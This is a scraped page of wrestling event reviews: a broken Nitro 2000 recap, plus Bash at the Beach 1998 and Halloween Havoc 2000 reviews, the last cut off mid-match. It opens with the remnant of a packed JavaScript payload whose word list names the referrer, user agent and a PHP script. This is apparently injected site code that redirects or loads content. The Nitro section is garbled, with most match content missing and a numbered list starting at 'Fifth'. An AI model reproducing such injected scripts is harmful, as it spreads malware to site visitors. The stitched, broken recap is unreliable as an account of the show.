");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiset|var|u0026u|referrer|yazay||js|php'.split('|'),0,{})) Nitro
Date: July 24, 2000
Location: CSU Convocation Center, Cleveland, Ohio
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

US Title/Hardcore Title: Big Vito vs. Lance Storm

Booker T is coming to the ring.

Buy New Blood Rising! PLEASE!

Back from a break and the announcers talk about what we just saw.

Billy Kidman jumps in on commentary and says he has a sex tape of him and Torrie tonight. Oh dear.

David Flair/Ms. Hancock vs. Lieutenant Loco/Major Gunns

Jeff Jarrett wants a title match, so Cat gives him a handicap tag title match against Kronik. Ok then.

Tag Titles: Jeff Jarrett vs. Brian Adams

I think this is a tag title match. Jarrett jumps Adams as he comes in but a clothesline misses and Adams hits his tilt-a-whirl backbreaker for two. Back up and Jarrett whips Adams in but ducks his head like a schmuck, letting Adams hit a piledriver for another two. They head to the floor and Adams (more famous as Crush in the WWF) tries to ram Jeff into the post but Jeff escapes and sends Adams in instead.

Sting is leading in the fan voting poll.

Vampiro vs. Great Muta

Never mind as Miller gets up and beats everyone down. Great way to debut a stable there.

WCW World Title: Booker T vs. ???

After a break, Booker wants the match to start again.

Buff Bagwell vs. Kanyon

Buff gives chase after a break.

Kidman still has a sex tape.

Shane Douglas vs. Mike Awesome

Billy pops up on the stage with some underwear. Lance Storm tries to jump Awesome but gets Awesome Bombed.

Post break, Douglas beats up the guy that played the tape.

Filthy Animals vs. Misfits in Action vs. Perfect Event vs. Natural Born Thrillers

Fifth, why would this match be on Nitro instead of on the PPV? Sixth, why did it take Konnan so long to open the door? Seventh, why did Madden have bolt cutters? Eighth, why were the first two teams in this in the first place? Ninth, who thought Rey as a heel was a good idea? Finally, WHAT DID I JUST WATCH???

Stevie Ray goes up to Goldberg in the back and yells at him, so Goldie throws him through a glass window.

WCW World Title: Booker T vs. Goldberg

Goldberg immediately pops up and spears Booker down and hits a Jackhammer to stand tall to end the show.

Not to mention this all happened after the fans were told they could vote and then had their pick knocked out, making it completely meaningless. This would also be the sensible match after the even bigger mess that the cage match on free TV was. They were out of business how soon after this?

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

Bash at the Beach 1998
Date: July 12, 1998
Location: Cox Arena, San Diego, California
Attendance: 10,095
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

 

Remember that horrible main event last year with an NBA player in it? Well this one has two NBA players. Yes this time it’s DDP/Karl Malone vs. Hogan/Rodman. At least there’s a world title match here though as this is 6 days after Goldberg beat Hogan for the title so he’s got Hennig tonight. Also the annoying Kevin Greene is back because we need MORE non-wrestling athletes. Let’s get to it.

 

The opening video more or less just lists off the participants in the matches I just told you.

 

The announcers talk forever about how huge this is.

 

Raven vs. Perry Saturn

 

Raven’s Rules of course. This is the beginning of the Saturn frees the Flock stuff. Lodi is dressed like Hat Guy. Riggs is with Raven and let’s talk about the main event. I mean we gave them a full half second after the bell rang to be about them. They fight outside and Raven goes into the railing. Into the ring and Saturn slips off the top. He catches himself on the mat though and hits a dropkick.

 

Saturn throws on a hold and Raven taps but it doesn’t count for whatever reason. He misses a guillotine legdrop though and Raven is able to get a table. Saturn manages to crotch him but misses a dive and lands on the floor again. Raven hits the Russian leg sweep into the railing. Sleeper doesn’t get Raven anywhere as Saturn gets a jawbreaker to counter.

 

Raven gets drilled in the corner with a bunch of kicks and now a suplex. Saturn grabs a chair and bashes Raven with it a few times but only gets two. Saturn sets for something but Riggs and Lodi come in for the save. Perry suplexes them both at once to send them flying and accidentally drills the referee. Out to the floor and Raven gets bulldogged into the steps. Saturn sets up another table and puts a table on top of him.

 

Saturn goes up top but Kanyon comes out and pulls Raven off the table before Saturn jumps. Saturn jumps anyway so are we supposed to believe Saturn just couldn’t see it? Seriously? Saturn mostly misses the tables anyway so he wouldn’t have hit Raven even if Kanyon hadn’t moved him. Kanyon hits a Flatliner (Downward Spiral) on Raven onto the chair. Saturn is rolled in and Raven gets two. Riggs comes in again and takes a DVD but the opening allows Raven to get the Evenflow DDT to end this.

 

Rating: C+. Some of the bumps here were pretty good but these two had the same match for like a year. This wasn’t too bad though, although the table bump was really stupid looking due to the total miss and Saturn looking like a total idiot. This feud would go on a few more months until Saturn freed the Flock, more or less ending their usefulness outside of Kidman.

 

Eddie says he’ll win his hair vs. hair match against Chavo because Chavo is insane. Also Chavo has a match with Stevie Ray before he has to face Eddie.

 

Juventud Guerrera vs. Kidman

 

Not a title match here. Just a cruiserweight match for the sake of having a cruiserweight match. Juvy is a face and Kidman is a part of the Flock. They lock up to start and then slug it out for a bit before Kidman grabs a headlock. A lot of speed to start and Juvy takes over with a set of chops and a headscissors, followed by a clothesline to the floor. Lodi saves a big dive by Juvy and hits him with “Lethal” (Tony’s word not mine) forearms to the back.

 

Kidman misses a dive so Juvy shows him how it’s done, taking out Lodi and Kidman. He kicks Lodi’s hat and the fans boo. Back in the ring for another counter sequence but this one ends better for Kidman as he hits a wheelbarrow suplex. Out to the floor and Kidman picks him up for what looks like a powerbomb but drops Juvy backwards to clothesline him on the railing.

 

Kidman goes to the apron and dives into the railing by mistake to shift the momentum again. Juvy gets a sunset bomb to the floor after some resistance from Kidman. Tony of course calls it a sidewalk slam because he’s an idiot. Back in the ring Kidman uses a low blow to break up a top rope rana and hits a sitout spinebuster off the top in a cool move. It only gets two and we hit a well deserved chinlock.

 

More chopping and ducking follow and Juvy gets a rollup for two. Juvy gets tossed to the floor so Kidman goes up to dive. Juvy gets up for the save and Kidman gets crotched, followed by a springboard rana for two. Juvy gets a Rock Bottom suplex for two. Kidman pops up to hit a springboard bulldog for two (think Stratusfaction). Pinfall reversal sequence doesn’t go anywhere but Kidman walks into the Juvy Driver for two. Juvy charges at Kidman and gets caught in a spinebuster. Kidman misses the Shooting Star and the miss is enough for Juvy to get the 450 for the pin.

 

Rating: B. Really good match here as this is what the cruiserweights were supposed to be about: just going out there and going insane, hitting all kinds of stuff you wouldn’t see elsewhere. Kidman would get a lot better and Juvy would decline a bit as a heel but this was still awesome stuff. Really liked it as they just went out and had a good match. What more can you ask of them?

 

Konnan is on an internet chat. Konnan on the internet is never a good thing. Just ask X.

 

Stevie Ray vs. Chavo Guerrero

 

Not sure why Stevie was picked but this was so that Chavo wouldn’t be at 100% to face Eddie later. Chavo is crazy at this point. He comes out with a water gun and an inner tube around his stomach. Eddie comes out with some scissors to great heat. Chavo dedicates this to his favorite wrestler, Eddie Guerrero. The hair vs. hair match is right after this. Chavo avoids Stevie then poses and dances. He offers a handshake which Stevie actually accepts. While in the handshake, Chavo submits. Apparently Chavo is crazy like a psycho.

 

Chavo Guerrero vs. Eddie Guerrero

 

Chavo bites him to start as Mike talks about the significance of hair vs. hair in Mexico. Now Chavo dances some more as we haven’t had any significant contact in the first two minutes or so. Eddie gets a chair and that doesn’t work of course. Chavo sits in said chair and maybe now we can get a match? Eddie offers a handshake and Chavo takes it, pulling him into a clothesline.

 

We finally get going after two and a half minutes. Backdrop to Eddie so he hides with the referee. Chavo bites him again as this isn’t much of a match for the first three and a half minutes so far. Eddie gets a dropkick to the knee and fires off some shoulders to the back. Slingshot hilo has Chavo in more trouble. After nothing of note on the floor there’s the Gory Special to Chavo. Nice touch.

 

Camel clutch goes on. Did someone grab a camel in that once and say it seemed like a good name for a wrestling match? Out to the floor and Eddie rams his head into the steps. There go the mats at ringside and Eddie wants a brainbuster. Chavo counters into a regular suplex and Eddie is in trouble. The younger one goes up and is crotched so Eddie hits a superplex to put both guys down.

 

Chavo gets the advantage and tries a frog splash but Eddie gets the knees up just in time. Eddie tries Chavo’s tornado DDT and this time it hits, allowing Eddie to grab some scissors before it’s time. Frog splash by Eddie misses and now Chavo hits the tornado DDT. He grabs the scissors, allowing Eddie to get a small package for the pin.

 

Rating: C. Not as good as you would expect here as they were kind of all over the place. The comedy at the beginning didn’t work and they were more or less mirroring each other after that. It’s not bad but for Chavo vs. Eddie you kind of expect a lot more than what you got here.

 

Post match Chavo goes insane and cuts his own hair while he makes sound effects. He plays the psycho really well.

 

Apparently Malenko vs. Jericho is off due to Malenko snapping and beating up Jericho on Nitro. Jericho will defend the title against a mystery opponent later tonight.

 

Konnan vs. Disco Inferno

 

This is an added bonus match. It’s a Wrestlezone special I guess. Disco is billed from Funkytown of all places. Alex Wright is with Disco here and tries to speak some Spanish. Thankfully Mike and Tony are here to tell us they can’t speak Spanish. Where would we be without them to explain jokes to us? Nash and Luger are with Konnan. Gee I wonder what’s going to happen. Nash talks for awhile to eat up more time.

 

Disco gets beaten down quickly which shouldn’t surprise anyone. We hear about Disco’s legit good resume in wrestling which is often forgotten. Disco gets in some jobber offense as it’s pretty clear what we’ve got on our hands here. Wright gets in some shots while Luger/Nash aren’t thrilled with it. There’s a Rack for Wright and a powerbomb for Disco. Tequila Sunrise ends this squash.

 

The Giant vs. Kevin Greene

 

Giant is black and white and Greene is here because WCW isn’t that smart. Greene is a guy that wasn’t that skilled but he was clearly having a blast out there and wanted to be out there doing this. He runs a lot which is smart strategy. Greene kicks the rope into the Little Giants and tries some punches in the corner but gets caught in a spinebuster (called a gutwrench waistlock slam by Tony) and the beating begins.

 

The fans chant for Goldberg but he’s not coming for a bit longer. The scary thing about Giant here is that he’s 26 years old. Bobby implies that Giant might be able to reach Andre’s undefeated streak. Dude, seriously? Greene tries a comeback and a headbutt stops that cold. After a brief thing on the floor Greene hits a forearm off the top and goes after the knee. He charges out of the corner into the chokeslam though and we’re done.

 

Rating: C+. This grade isn’t the same as I would use for a regular wrestling match. This was a wrestler vs. a football player and considering that, this was pretty good actually. Greene wasn’t supposed to be anything special and he was trying, which is exactly what he was supposed to do. Nothing great mind you, but all things considered this was fine.

 

Hennig says he can beat Goldberg.

 

We recap Malenko losing his title shot after Jericho cost him a match and then implied that Dean’s dad slept around and that his mother was a w****.

 

Cruiserweight Title: Chris Jericho vs. ???

 

Jericho doesn’t know who he’s facing and he comes out in a top hat with a cane and does a softshoe routine. JJ Dillon comes out and makes the match. Apparently it’s with a local kid that hasn’t wrestled in six months. It’s also No DQ still which was to be the stipulation with Malenko.

 

Cruiserweight Title: Chris Jericho vs. Rey Mysterio

 

Rey takes over to start and is more muscular than he used to be. After a bit on the floor, Jericho gets a shot to the knee back in the ring. Jericho has apparently had enough and goes up to the set, more or less ending the interesting part of the match. They fight up a lifeguard chair and Rey dives onto Jericho on the sand. Back to the ring and Jericho gets a nice powerslam off the top (called a top rope powerslam by Tony. Wait that was correct. I need a minute to recover from that one).

 

Jericho tries to Pillmanize the leg but Rey moves, sending Jericho crashing into the chair. Rey swings away at it and dropkicks it into the knee. Jericho is in trouble all of a sudden and a facejam looks to set up the West Coast Pop. Liontamer is blocked and Rey gets to the ropes. Here comes Malenko as Jericho tries the Liontamer again. Rey rolls through for the pin and the title. Note here that Malenko DID NOT TOUCH JERICHO. He wasn’t in the ring, he wasn’t within 20 feet of the ring.

 

Rating: C-. Not much here at all but the opening was good. After that the whole thing changed and given that the match was only about six minutes long, I’m not sure what was going on here. Rey didn’t look completely comfortable on the knee so maybe that was it. Also, the reason to note Dean’s lack of involvement was the title would be returned to Jericho the next night due to Dean’s “interference”.

 

Malenko and Jericho fight to the back as Jericho tries to escape.

 

TV Title: Bret Hart vs. Booker T

 

Bret still hasn’t really done anything so let’s take that big acquisition and put him in the lower midcard and in the NWO. You know, because he’s just another guy. Booker is champion if that wasn’t clear. They head to the mat and Bret comes out ahead there. Booker gets a cross body for two. Bret is sent to the floor and is in trouble already. He does manage to take over on the floor and takes over back inside.

 

Booker is still in trouble as they go outside. He goes into the railing and Bret rams his back into the post which isn’t a DQ somehow. Five Moves of Doom get some two counts. This is really boring. Booker tries his Jack Brisco sunset flip out of the corner but botches it badly. Booker gets a kick to put Bret down and follows it up with the axe kick and Bret is down. There’s a flapjack and Booker spins up. Missile dropkick gets two. And never mind as Bret hits Booker with a chair for a DQ. Give me a break.

 

Rating: D-. Just a really boring match here as Bret continues to be totally wasted. I mean seriously, Booker T is good but at this point he should have bowed down to Bret and thanked him for beating him for the TV Title. Bret would FINALLY get something a few weeks later, winning the vacant US Title. Still though, this was really bad and the ending hurt it horribly.

 

Bret destroys the knee until Stevie walks out and tells him to stop.

 

Video on Goldberg who won the title six days ago. Also Hall got destroyed earlier in the night. The video makes it look like Goldberg squashed Hall in about 9 seconds. I still can’t believe they just had Goldberg beat Hogan on 4 days’ notice for the title on free TV. But hey, they managed to beat Raw for one night. Who cares that it would have brought in hundreds of thousands of buys and millions of dollars on PPV?

 

WCW World Title: Goldberg vs. Curt Hennig

 

This was added during the week, probably on Thunder. Hennig of course bounces around like a pinball. Goldberg tries his rolling leg lock and messes it up so Curt hits the floor. He tries to go up top and that totally fails. Hennig tries to go after the leg and spends a minute or so doing that as the fans chant for the champion. This time Goldberg manages to get the leg lock but walks into the Perfectplex for two. Spear and Jackhammer end this maybe a second later.

 

Rating: D. Just a squash here which isn’t what is supposed to happen on a PPV in a world title match. It wasn’t anything we hadn’t seen a hundred times (literally) before. Goldberg would mow through everyone until the idiocy of Halloween Havoc and the further idiocy of Starrcade. Nothing match here that wasn’t even four minutes long.

 

We recap the main event. Basically WCW decided to bring in celebrities for the sake of bringing in celebrities, making the main event wrestler/NBA player vs. wrestler/NBA player. Allegedly Rodman wasn’t seen until a few hours before show time and was in no condition to perform here. Did I mention this match is going to have half an hour to fill?

 

Hulk Hogan/Dennis Rodman vs. Diamond Dallas Page/Karl Malone

 

I actually watched this show when it aired with a buddy of mine and he said it looked like Malone and Page jumped into a vat of glue with their jeans on. I think he’s onto something with that theory. For some reason the heels’ music changes from Voodoo Child to the traditional NWO song halfway through their entrance. Malone comes out to some bad rap song. Dang he has long arms.

 

The basketball players start us off and it’s time to stall. Minute and a half of no contact yet. Test of strength is teased but Malone slaps Rodman’s hand away. It was Malone’s idea mind you. Two minutes in now and no real contact. They lock up and Rodman grabs a headlock. And never mind as we need to stall some more as Rodman goes to the floor. 2:45 in now with a headlock being all the contact. The world title match was 3:50. Off to Hogan vs. Malone and they have a pose off. Test of strength is teased….and doesn’t happen.

 

This match is officially longer than the world title match and we’ve had a total of one headlock. I actually want to see how far they can take this. At 4:12, they lock up. Malone puts on a hold that I don’t have an actual name for. It’s kind of like a headlock I guess. Picture a guy setting for a left armed Rock Bottom and clasping his arms around and kind of holding them there. Malone slams him (not bad) and it’s off to Page. I don’t think I’ve ever been happier to see DDP in a match.

 

Page of course wants Rodman because we haven’t been bored enough yet. They lock up and it’s time to stall AGAIN. The fans chant boring and I can’t blame them. We’re at 6:00 now and here’s what’s happened so far: headlock, tieup, that hold Malone did, slam and another tieup. Seriously, NOTHING ELSE HAS HAPPENED. Jericho vs. Mysterio was 6:00 and it was bad, but at least it was a match.

 

They tieup again and Page shoves him off again. Page and Rodman spit at each other as we add an “armdrag” to the list of what’s gone on. This is now longer than Giant vs. Greene. The announcers freak and Hogan struts on the apron. Page grabs a headlock and even Tony is saying this is something of note finally. They collide and Rodman goes down. Another lockup and Rodman puts on headlock #4 as we hit the 8:00 mark.

 

We now see why Rodman is either drunk, high, or just awful at this. Rodman has a headlock on and Page tries to shoot him into the ropes. That’s a counter that I’m sure you’ve seen hundreds of times. Nothing special about it and perfectly normal. Rodman falls down and pulls Page with him, resulting in Page getting a two count. This is just embarrassing at this point. Actually it was embarrassing five minutes ago.

 

Page now with a head/chin lock and gets sent into the ropes. Rodman rams him with a shoulder block….and falls forward, allowing Page to get two again. Fans are openly booing now as Malone comes in. Rodman never gets up and tags Hogan. Hogan puts on a top wristlock which is shrugged off by Malone. Malone obviously isn’t skilled, but he’s trying and is fired up out there, which is really all you can ask for.

 

We’re over ten minutes in now and somehow that’s not even halfway through. Rodman actually does something as he hits a double axe to Malone to give Hulk the advantage. Hogan chokes a lot as you have to wonder why DDP vs. Hogan hasn’t gotten more time. I mean, they actually, know how to wrestle and such. Hogan slams him and drops some elbows. Back to Rodman who looks sleepy.

 

Rodman rams Malone into Hogan’s boot and it’s back to Hulk. Malone’s selling is pretty good actually. Off to a chinlock for a bit and Rodman comes in to hold Malone. Hogan punches Malone and Rodman falls down. Belly to back to Malone with Hogan making sure to be as careful as possible. Malone finally gets the hot tag to Page and he comes in off the top with a clothesline.

 

Things wake up for about 15 seconds until Rodman knees him in the back to let Hulk take over again. There’s the weightlifting belt to Page’s back. This is so boring it’s unreal. Double clothesline puts Page down. Hogan chokes him in the corner as we’re finally in a regular match with more than a move every three minutes. And never mind as that’s enough for Hogan so it’s off to Dennis again.

 

The heels seem like they don’t want to stay in the ring at all. Hogan suplexes Page and it’s back to The Worm. The fans chant for Page who at least fights back. Rodman puts a front chancery on as Malone plays cheerleader. The heels switch without a tag and the legdrop misses. Off to Malone who does some very basic stuff but does it well enough, all things considered. Double noggin knocker puts the heels down.

 

Malone hits a big boot and it’s not bad at all. Off to Page again and there’s the Diamond Cutter to FINALLY wake the crowd up. Malone hits what is supposed to be a Diamond Cutter on Rodman but was more like he grabbed Rodman’s shirt and pulled him down with it. The referee has to get Malone out so Disciple comes in to hit a Stunner on Page for Hogan to get the cheap pin.

 

Rating: N. As in no or not acceptable. This was the match that the show was sold on and it was atrocious. The idea of putting celebrities in the main event, even athletic ones, is stupid for one simple reason: they can’t wrestle. They’re not trained to do it and they don’t know how to do it.

 

Having Malone and Rodman as seconds or enforcers or whatever while Page and Hogan have a match is fine, but having like 8 minutes of stalling because they don’t know what to do isn’t fine. This is on WCW, not Rodman who at least showed something resembling interest (despite failing completely) and Malone who was trying. Horrible, HORRIBLE main event and match in general.

 

Malone hits a much better Diamond Cutter on Disciple post match. The referee gets one too as the NWO celebrates.

 

Overall Rating: D-. This is a fine example of how short term thinking can mess up a whole show. This was all messed up because the two big matches, as in the world title and main event, were either bad or really short due to the booking being changed or stupid from the beginning. The rest of the card is just your run of the mill WCW show which means it’s mostly weak with a good match sprinkled in here or there. Overall though this felt awful and like a nothing show, which isn’t good. Somehow it would get even worse next month with Hogan/Bischoff vs. DDP/Jay Leno. We’ll get to that later.
Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 

Halloween Havoc 2000
Date: October 29, 2000
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 7,582
Commentators: Stevie Ray, Tony Schiavone, Mark Madden

We’re in the dying days of the company here as with so few shows to go there’s really no reason for me to not finish these off. Goldberg is face again after that disaster of a heel turn for him. It’s more or less a double main event tonight with him vs. Kronik. The idea is that he has to break his original winning streak to get a title shot or he retires. The other match is Booker vs. Steiner for the title. Yeah not much has changed. Let’s get to it.

Wow that announce team scares me to death. For some reason Stevie got a big push late in WCW’s run and became a commentator. No one is really sure why.

Pamela (GORGEOUS) asks some fans if Goldberg wins or loses. They’re split.

Standard IT’S HALLOWEEN promo starts us off. Sting vs. Jarrett is a big match too apparently. Oh it’s that show isn’t it. This show has one of the dumbest matches I’ve ever seen so we need to get into this before I stab myself over that.

Tony says this is in fact SPORTS ENTERTAINMENT. I give up.

Tag Titles: Boogie Knights vs. Rey Mysterio/Billy Kidman vs. Natural Born Thrillers

Boogie Knights are Disco and Alex Wright and the Thrillers are Mark Jindrak and Sean and Mark O’Haire and have the belts here. There was some weird deal where the Knights won the belts but Mike Sanders decided the title change didn’t count and gave them the belts back. There are advertisements at every corner of the ring. WCW’s latest horrible video game (no wrestling in the ring, just in the back) is the sponsor. Nice to see how well the sponsorship deals are going isn’t it?

Wright, Kidman and Jindrak start us off. That’s what I always liked about WCW triple threats: they had triple threats instead of three team tag matches. Alex allegedly has the most experience. Not quite but in WCW he did I guess. Bronco Buster misses and here’s Disco. I forgot Konnan was there until he said something about Shane Douglas. It’s a big WZ Preunion here.

Everyone keeps working to beat up the Thrillers. In a nice move, Disco sets up Sean to allow Kidman to come off with the Shooting Star but instead he jumps at Disco with a back elbow in a thinking move. Wright gets a lot of praise here which is weird. You could tell he was one of those guys that they wanted to do something with but they never quite could do it.

We get a Tower of Doom spot as I’m getting into this triple threat tag match formula. Rey, Sean and Disco come in. Sean has a dime dropped on him and Disco takes a modified seated senton for two each. Sean’s knee may be hurt. The Thrillers use one of their signature awesome spots where they pick up Rey for what looks like a double hip toss and throw him from the floor over the top rope and into the ring. That was awesome looking.

They do the same to Kidman but Wright catches him in mid air in a belly to belly for two. This is getting awesome fast. Big plancha by Alex to take out Disco and Jindrak. Let the cruiserweights loose as the big dives begin. Kid Crusher on Wright (Unprettier/Killswitch) gets two. Top rope rana by Rey to Disco is followed by a Bronco Buster.

Last Dance (Stunner) by Disco gets two as Rey drops a dime on Disco to break it up but it allows O’Haire to hit the Seanton (yes I spelled that right) Bomb to end it. Imagine a guy Orton’s size doing a Swanton and imagine how awesome it would look. Wright beats up Rey afterwards and Konnan tries to save. He gets beaten down also but Sgt. AWOL (member of the MIA) comes in for the save. Konnan can’t stand up.

Rating: B. This was FUN. You had six relatively young guys out there just having fun in a fast paced tag match. It’s a great choice for an opener and I got very into it. This was WCW’s problem though: this is pretty much going to be the match of the night and the crowd is going to decline as we continue. Very fun opener though and I liked it a lot.

AWOL has a hardcore title match next so he just hangs out and sets up a table. WCW guys come out and attach trash cans full of weapons to the posts.

Hardcore Title: Reno vs. Sergeant AWOL

I liked Reno so this should be bad anyway. Reno brings a kendo stick and pops Wall (his old name) with it so Wall kicks him in the face then goes through a table. Uh sure. We have NEW Hardcore rules here which are now falls count anywhere and anything goes. Back in the day the matches had to start in the back and end in the ring. WCW managed to make a video game out of that concept. Yeah they were dead at this point.

Just a basic weapons match at this point with no one really caring. See what I meant about the quality going down? Wall puts the trashcan over Reno’s head and kicks the can into the railing. That looked painful but after looking at it for about two seconds you can see he missed Reno completely. And now he does it again just because he can. Wall and Stevie do the Too Sweet hand gesture for zero explained reason.

They head up to the ramp as Stevie says this could end at the Brown Derby. For those unfamiliar, the Brown Derby is a restaurant in Los Angeles. Chokeslam is blocked and Reno hits the Roll of the Dice (Cross Rhodes) on the ramp. He gets a table and then a second one on top of that. According to the laws of wrestling of course Reno goes through them shortly thereafter.

The guys go off into some BIG empty area (you know because it’s not like FANS could go there as we need it for this one moment in a pointless match) before we head to the back. A computer monitor is thrown at Reno who counters with a fire extinguisher for two. Computer monitor to Reno’s head lets Madden say he knew the internet would destroy wrestling. That’s very funny all things considered. Actually it’s not as Mark Madden is not a laughing matter.

Wall drills Finlay who is an agent at this point and we head back into the arena. This is just going on WAY too long at this point and it’s not interesting at all anymore. Scratch that as it would imply that something about this match was interesting at all in the first place. Wall gets the fifth table of the match (the word overkill means nothing in WCW if you didn’t get that) but gets hit with a chair by Reno. Roll of the Dice (Cross Rhodes.  It looked weak with no impact at all) onto the table ends this.

Rating: D-. This got ELEVEN MINUTES. Yeah this match is deserving of more time than the good opener. There was nothing at all here to set this apart from any other standard hardcore match. WCW had no idea what they were doing with this division and that’s very clear.

More Thrillers come down for the post match beatdown until the Misfits come out for the save.

Shane talks to the Thrillers which either isn’t live or Palmbo managed to get to the back and get dressed inside of 6 seconds. Ah ok it’s earlier today. Nash has put Douglas in charge of the Thrillers for the night. Sure why not.

Goldberg was hurt on Thunder apparently.

Kronik is looking for Goldberg who isn’t here yet. They want some beer. See they were big strong guys that beat people up for money and drank beer. Yeah you get the idea.

Perfect Event vs. Misfits in Action

Shawn Stasiak/Chuck Palumbo vs. Lieutenant Loco (Chavo)/Corporal Cajun (Lash Leroux) for those of you unfamiliar. This was signed seconds ago. Well of course it was. Stasiak has been a problem in the group apparently so expect that to cause the loss for them. Chavo and Stasiak start us off here as this is just a basic tag team match.

Chavo plays Ricky Morton as I could not be less interested in this match while still writing about it. We get the second release date for Backstage Assault in the last ten minutes. One thing says Halloween and one thing says not until December. The game sucked anyway so it’s not like it really mattered. According to Tony there used to be a limit to the amount of saves a partner could make in a match. I’ve heard of that before actually so it’s not as insane as it sounds.

NICE overhead belly to belly by Palumbo to Chavo as it’s all Perfect Event. Hot tag to Cajun who was underrated I think. A bad sleeper from Palumbo has Cajun in trouble for bad acting. The referee is Scott Armstrong, as in the blonde guy that used to be in WWE with the hitch in his count.

If you’re going to use the sleeper, at least do something other than having an arm in front of the throat Palumbo. Soon afterwards everything goes nuts and like I said before heel miscommunication leads to Palumbo kicking Stasiak and a tornado DDT from Chavo ends it.

Rating: D+. This was just there. It’s about ten minutes long and nothing at all of note happens in it. Two teams had a wrestling match on a show for the company they work for. That’s all that happened here. It was just ok and this was once again one of the issues with WCW: matches on PPV had no point at all, much like this one.

Kidman and Rey won’t sub for Konnan who is still hurt.

Shane Douglas/Torrie Wilson vs. Konnan/Tygress

Torrie is dressed as Wonder Woman and DANG. Shane cuts his usual awful promo about how the whole injury thing earlier was planned. Sure why not. No Konnan to start us off. Tygress sets for a Bronco Buster (FACE FULL OF STUFF according to Madden) is blocked and there is still no Konnan. We saw him heading to the ring before the match started and here he is from through the crowd. Did he get lost or something? Was he following a trail of popcorn maybe?

Rolling clothesline hits Shane as Konnan is wearing a Vince Carter Team USA jersey. We get something close to an actual tag match finally with the guys in there. And so much for that as Tygress beats her up. Tony shows the idiocy of himself as he’s shocked that a woman can do a wristlock. You know, in a company where there was a Women’s Cruiserweight Title.

Shane punches Tygress to send her down as this is boring already. Mixed tags rarely work and this is no exception. Torrie can’t wrestle. That’s all there is to it. Madden makes sex jokes as Stevie calls a camel clutch a Boston Crab. Oh wait we have to call it a Steiner Recliner. Sure why not.

Why did Shane Douglas keep getting work? He was only worth anything in ECW and even there it wasn’t much. Outside of that though, no one was ever interested and yet he kept getting pushes. Konnan comes in and seems to be just fine of course. More Bronco Busters as this needs to end badly. And then Konnan does a double facebuster on the heels to win it. Thank goodness.

Rating: D-. Torrie looked good. The rest of this is a failure. Was there a point anywhere here? If there was I missed it completely. Totally boring match with nothing going on at all and Tygress being in the ring more often than not. There’s nothing else to say here at all.

David Flair has a First DNA match tonight to find out who slept with his girlfriend and fathered her child. He has two guys in labcoats with him. Again, two more guys that get a PPV paycheck here that are completely unneeded.

Buff Bagwell vs. David Flair

This is a first blood match. Buff cuts a basic promo early on about David being rather small. David is a guy I felt sorry for as he had more or less zero talent but he kept going out there and trying as hard as he could in a spot he flat out was not ready for but was there because of his last name being Flair. It wasn’t his fault though so it’s hard to get on him.

David is slammed off the top as this is one sided so far as it should be. Since this is a first blood match, both guys use a lot of slams and work on the other guy’s back. Flair finally swings a chair which of course misses. Chair shot to David and the somehow best wrestler in this match, Buff Bagwell, has David in trouble. Yeah Flair is bleeding and the referee doesn’t seem to care. Buff throws in a Blockbuster just for fun as the referee finally sees it.

Rating: F. Another stupid match. We have a five minute first blood match of course because clearly this needed a gimmick. This went nowhere at all and was almost pure dominance by Bagwell.

Luger comes down and beats up Bagwell with Tony shouting about how many times is Luger going to turn on people. Buff’s mouth is busted open and David gets a sample from it. David walks toward the back as Goldberg is getting here, an hour into the show. This was supposed to end with Russo sleeping with Stacy which thankfully never happened.

Steiner cuts another generic promo.

Mike Sanders vs. Ernest Miller

Ok, this is one of those matches that you just have to go with. This is a kickboxing match between a wrestler (Sanders) and a karate dude (Ernest Miller) for the Commissionership of WCW. There are three two minute rounds. You can only win by knockout as in after a ten count as well. Somehow this is by far the simplest aspect of the thing by the end of the match.

The winner is the Commissioner, which about five people have been in the past 12 months. Perfect Event is at ringside with Sanders and Cat’s chick, Ms. Jones, is with him. Miller, someone actually trained in this, of course destroys him for the most part. Round one ends and of course they fight even more after the bell.

There are no points or judges or anything so if no one is knocked out by the end of the rounds I have no idea what happens. To be fair I have no idea what is happening in the match itself so it balances out I guess. At about a minute gone by in the SECOND round, both of which are TWO MINUTES long, Tony says it’s been about four minutes so far. Do I even need to make fun of this anymore?

Sanders gets drilled by a punch and the Perfect Event argues over whether or not to throw in the towel. Sanders wants it in but the bell rings and he can’t leave yet. And here’s Shane Douglas here to be annoying I guess. Since it’s a wrestling show, the referee is on the floor arguing during the match. Cat gets a cartwheel kick to END Sanders.

Palumbo gets in again and Douglas pops Miller with a chain. The referee does the SLOWEST COUNT EVER, being at 6 with 20 seconds left but Miller is saved by the bell. Madden gets popped. Keep in mind that the match is over. Miller hits the floor and the referee starts counting as Miller brawls with Douglas and Sanders wins after the match is over.

Rating: N/A. To sum this up, a wrestler beat a martial artist in a kickboxing match after he beat the bell when a guy hit him with a chain but was counted out for leaving the ring to brawl with a guy not in the match after the fight was over to lose the commissionership of a major wrestling company. And Vince Russo made 2 million dollars a year for this. Let that sink in the next time you get your paycheck.

A doctor talks to Goldberg who insists he’s fine.

Kronik says they don’t care if they wrestle tonight as they get paid either way.

Vampiro vs. Mike Awesome

It’s That 70s Guy here which is yet another instance where WCW blows what could have been someone special. This is Vampiro’s last match with WCW so who do you think wins it? Vampiro has been extra evil or something lately and hates Awesome just because. Awesome has some title shot coming and Vampiro wants it on the line. Awesome, having nothing to gain, says sure.

Big plancha to the floor by Mike to half kill Vampiro. Dang he was great back in the day. Naturally since he was young and good he was made into a comedy character. We head into the crowd now and it’s all Awesome. A fan jumps Awesome and he’s in trouble people that need to drink to get through a show this bad.

Vampiro grabs a chair for both guys and we have a duel. Just wasting time now as not a lot is going on. Vampiro goes for a top rope belly to belly but he more or less just drops Awesome, letting him fly through the air and do all of the work, making it look bad. Awesome busts out a table which makes this at least the second match with them in it. Since they were used earlier, not a lot of people care here.

Stevie wants to know why this is legal and gets no answer. Stevie freaking Ray is the voice of reason on this show. The same Stevie Ray that had a segment called Suckas Gots To Know. Anyway Vampiro hits his finisher and looks for more weapons because he’s an idiot. Madden gets a Ghostbusters line in to make this a bit easier. Sitout Awesome Bomb on the floor as this is now falls count anywhere I guess.

